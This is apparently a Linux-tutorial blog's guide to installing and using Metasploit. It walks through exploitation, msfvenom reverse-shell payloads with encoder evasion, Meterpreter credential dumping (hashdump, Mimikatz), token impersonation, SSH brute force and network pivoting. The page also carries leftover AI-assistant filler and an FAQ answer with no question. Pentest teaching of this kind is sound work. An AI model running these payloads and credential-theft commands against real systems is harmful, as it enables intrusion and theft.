H4ck3r.me

#1 Website For Linux Tutorials

How to use Metasploit | Full Basics | Installation

How to Use Metasploit: Complete Installation Guide & FAQ

how to use metasploit

Introduction to Metasploit

Metasploit is a powerful penetration testing framework developed by Rapid7 that enables cybersecurity professionals to identify, exploit, and validate vulnerabilities in computer systems. As one of the most widely-used ethical hacking tools, Metasploit provides a comprehensive suite of modules for security assessments, exploit development, and post-exploitation activities. This comprehensive guide covers Metasploit installation across all major platforms and provides essential usage instructions for security professionals.

Key Features of Metasploit Framework

1. Extensive Exploit Database

Metasploit houses one of the largest collections of pre-built exploits, allowing penetration testers to quickly identify and deploy targeted attacks against known vulnerabilities in various systems and applications.

2. Customizable Payload Generation

The framework supports multiple payload types including reverse shells, bind shells, and meterpreter sessions, enabling testers to adapt their approach based on specific testing objectives and network configurations.

3. Advanced Post-Exploitation Modules

Beyond initial exploitation, Metasploit offers sophisticated post-exploitation capabilities for privilege escalation, credential harvesting, network reconnaissance, and lateral movement within compromised environments.

4. Meterpreter Payload System

Meterpreter serves as Metasploit’s most advanced payload, providing an interactive command shell with extensive capabilities for system interaction, file manipulation, and persistent access establishment.

System Requirements

Before installing Metasploit, ensure your system meets these minimum requirements:

  • Operating System: Linux (Ubuntu/Debian/CentOS), Windows 10/11, or macOS 10.14+
  • Processor: 64-bit architecture recommended
  • Memory: Minimum 4GB RAM (8GB+ recommended)
  • Storage: At least 2GB available disk space
  • Database: PostgreSQL 9.6 or higher
  • Network: Stable internet connection for updates

Metasploit Installation Guide

Linux Installation (Debian/Ubuntu)

# Update package list

sudo apt update

# Install Metasploit framework

sudo apt install metasploit-framework

# Alternative manual installation

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

Windows Installation

  1. Download Metasploit Framework from the official website: metasploit.com/download
  2. Run the installer as administrator
  3. Follow the installation wizard prompts
  4. Launch Metasploit through the Start menu

macOS Installation

# Install Homebrew if not already installed

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install Metasploit using Homebrew

brew install metasploit

Termux Installation

Follow this post : Install Metasploit In Termux

Database Configuration

Metasploit requires PostgreSQL for optimal performance and data persistence:

# Start PostgreSQL service

sudo systemctl start postgresql

# Initialize Metasploit database

msfdb init

# Verify database connection

msfconsole -x "db_status"

How to Use Metasploit Step-by-Step

1. Launching Metasploit Console

msfconsole

2. Basic Navigation Commands

# Display available commands

help

# Search for specific modules

search [keyword]

# Load a specific module

use [module_path]

# Show module options

show options

3. Exploitation Process

# Search for relevant exploits

search [vulnerability_name]

# Select exploit module

use exploit/[path_to_exploit]

# Set target parameters

set RHOSTS [target_ip]
set RPORT [target_port]

# Choose appropriate payload

set PAYLOAD [payload_type]
set LHOST [local_ip]
set LPORT [local_port]

# Execute exploit

exploit

4. Post-Exploitation Activities

# Gather system information

sysinfo

# Access command shell

shell

# File operations

upload [local_file] [remote_path]
download [remote_file] [local_path]

# Network reconnaissance

ifconfig
netstat

I’ll add more in-depth usage examples and advanced techniques to enhance your Metasploit guide. Here are several sections that will provide deeper insights into practical Metasploit usage:

Advanced Metasploit Usage Techniques

1. Workspace Management and Database Integration

Metasploit’s database integration allows you to organize and track your penetration testing activities efficiently:

# Create and manage workspaces

msfconsole -x "workspace -a client_project"
msfconsole -x "workspace client_project"

# Import scan results (Nmap, Nessus, etc.)

db_import /path/to/nmap_scan.xml

# Query discovered hosts and services

db_hosts
db_services -p 443
db_nmap -v -sV 192.168.1.0/24

# Export findings for reporting

db_export -f xml /home/user/client_findings.xml

2. Resource Scripts for Automated Workflows

Resource scripts (.rc files) allow you to automate repetitive tasks and complex workflows:

# Create a resource script for common enumeration

cat > enum.rc << EOF
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run
EOF

# Execute the resource script

msfconsole -r enum.rc

# Built-in useful resource scripts
# show -t resource # List built-in resource scripts
# resource scanners/smb_bruteforce.rc

3. Auxiliary Modules Deep Dive

Auxiliary modules provide a wide range of functionality beyond exploitation:

# Port scanning with different techniques

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.10-20
set PORTS 21,22,23,25,80,443,3389
set THREADS 10
run

# Banner grabbing for service identification

use auxiliary/scanner/banner/grabber
set RHOSTS 192.168.1.0/24
set RANGE_SIZE 256
run

# SMB enumeration for domain information

use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.1.100
set SMBUser guest
set SMBPass guest
run

4. Advanced Payload Techniques

Understanding payload options can significantly improve your success rate:

# Generate payloads with evasion techniques

msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 LPORT=4444 \
         -e x86/shikata_ga_nai -i 5 \
         -f exe -o payload.exe

# Stageless payloads for faster connections

msfvenom -p linux/x86/meterpreter_reverse_tcp \
         LHOST=192.168.1.100 LPORT=4444 \
         -f elf -o meterpreter.elf

# Handler setup for multiple simultaneous payloads

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
set ExitOnSession false
exploit -j -z  # Run as job without interacting

# Add another handler

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4445
set ExitOnSession false
exploit -j -z

5. Meterpreter Deep Dive

Meterpreter offers extensive post-exploitation capabilities:

# Core Meterpreter commands

background    # Return to msfconsole without killing session
sessions -l   # List active sessions
sessions -i 1 # Interact with session 1

# File system operations

ls               # Directory listing
pwd              # Current working directory
cd C:\\Windows    # Change directory
search -f *.doc  # Search for files
cat /etc/passwd  # View file contents

# Process management

ps                               # List processes
migrate 1234                     # Migrate to PID 1234
execute -f cmd.exe -i -H         # Execute hidden interactive cmd

# Privilege escalation

getuid               # Current user context
getprivs             # Show current privileges
use priv             # Load privilege escalation extensions
use incognito        # Load token impersonation commands
list_tokens -u       # List available tokens
impersonate_token DOMAIN\\User  # Impersonate token

# Network operations

ipconfig        # Interface configuration
portfwd add -l 8080 -p 80 -r 10.10.10.10  # Port forwarding
route print     # Print routing table
run autoroute -s 10.10.10.0/24            # Add route

# Credential harvesting

hashdump           # Dump password hashes (Windows)
load kiwi          # Load Mimikatz extension
creds_all          # Show all credentials in database

6. Advanced Exploitation Strategies

More sophisticated approaches to exploitation:

# Target ranking system

show targets    # View target versions supported by exploit
set TARGET 3    # Select specific target variant

# Exploit-specific settings

show advanced   # Show all advanced exploit options
set EnableUnicode true      # Handle Unicode encoding
set PrependMigrate true     # Automatically migrate process
set AutoLoadStdapi false    # Delay loading standard API

# Brute force modules with custom wordlists

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.200
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE false
run

# Exploiting client-side vulnerabilities

use exploit/windows/browser/adobe_cooltype_sing
set URIPATH /internal_docs
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 4444
set ReverseAllowProxy true  # Allow proxies
exploit

7. Post-Exploitation Automation

Automating post-exploitation activities with scripts:

# Create a post-exploitation script

cat > post_enumeration.rc << EOF
run post/multi/recon/local_exploit_suggester
run post/windows/gather/enum_logged_on_users
run post/windows/gather/checkvm
run post/multi/manage/autoroute
run post/multi/gather/env
EOF

# Execute on multiple sessions simultaneously

resource post_enumeration.rc

# Useful built-in post modules

run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24
run post/windows/gather/win_privs
run post/linux/gather/enum_system
run post/multi/gather/find_vmx

8. Network Pivoting and Lateral Movement

Extending your reach within compromised networks:

# Setting up pivot points
# After compromising host A with access to network B

use post/multi/manage/autoroute
set SESSION 1
set CMD autoadd
run

# Route through compromised system

route add 10.10.20.0/24 1
route print  # Verify route added

# Scanning through pivot

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.20.0/24
run

# SOCKS proxy for full network access

use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
run

# Configure proxychains in /etc/proxychains.conf:
# socks4 127.0.0.1 1080
# Then use: proxychains nmap -sT -p 80,443 10.10.20.50

9. Custom Module Development

Creating custom modules for specific requirements:

# Simple auxiliary scanner example (save as ~/.msf4/modules/auxiliary/scanner/http/custom_scanner.rb)
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Custom HTTP Scanner',
      'Description' => %q{
        Example custom scanner module
      },
      'Author' => ['Your Name'],
      'License' => MSF_LICENSE
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to check', '/']),
    ])
  end

  def run_host(ip)
    res = send_request_raw({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'])
    })

    if res && res.code == 200
      print_good("#{ip} - Found interesting content!")
      report_vuln(
        :host => ip,
        :name => self.name,
        :info => "Custom discovery"
      )
    end
  end
end

10. Reporting Integration

Integrating findings with documentation tools:

# Using the reporting system

db_notes  # View collected notes
notes -t loot  # Filter specific note types

# Importing/exporting for reporting

db_export -f json /tmp/engagement.json

# Generating HTML reports
# Within msfconsole:
# load msfd
# msfd will provide API access for report generation

These additions provide much more depth to your original guide, showing readers how to effectively use Metasploit’s advanced features in real-world scenarios. The focus is on practical applications that go beyond basic exploitation to include comprehensive post-exploitation activities, automation, and professional methodologies.

Frequently Asked Questions (FAQ)

Q: Is Metasploit free to use?

A: Yes, Metasploit Framework is open-source and available free of charge. Rapid7 also offers commercial versions with additional features.

Q: What programming languages does Metasploit support?

A: Metasploit primarily uses Ruby for its core framework, with modules written in Ruby, Python, and other languages.

A: Absolutely. Metasploit is designed specifically for authorized security testing with proper written consent from system owners.

Q: How often is Metasploit updated?

A: The framework receives regular updates with new exploits and features. Weekly updates are recommended for optimal security coverage.

Q: What are the system requirements for running Metasploit?

A: Minimum requirements include 4GB RAM, 2GB storage space, and a 64-bit operating system. Performance improves significantly with 8GB+ RAM.

Q: How do I update Metasploit to the latest version?

A: Run msfupdate command or use your package manager (apt, brew) depending on your installation method.

Q: Can Metasploit work without internet connectivity?

A: Yes, once installed, Metasploit can function offline, though updates and some modules may require internet access.

Q: What’s the difference between Metasploit and Nessus?

A: Metasploit focuses on exploitation and post-exploitation activities, while Nessus specializes in vulnerability scanning and identification.

Conclusion

Metasploit remains an indispensable tool for cybersecurity professionals conducting authorized penetration testing and vulnerability assessments. By mastering its installation process and understanding core functionalities, security practitioners can effectively identify and remediate system vulnerabilities. Remember to always operate within legal boundaries with proper authorization, keeping the framework updated for optimal performance and security coverage.

The framework’s modular architecture, extensive exploit database, and powerful post-exploitation capabilities make it essential for comprehensive security testing. Whether you’re a beginner learning ethical hacking or an experienced penetration tester, Metasploit provides the tools necessary for thorough security assessments when used responsibly and ethically.

Leave a Comment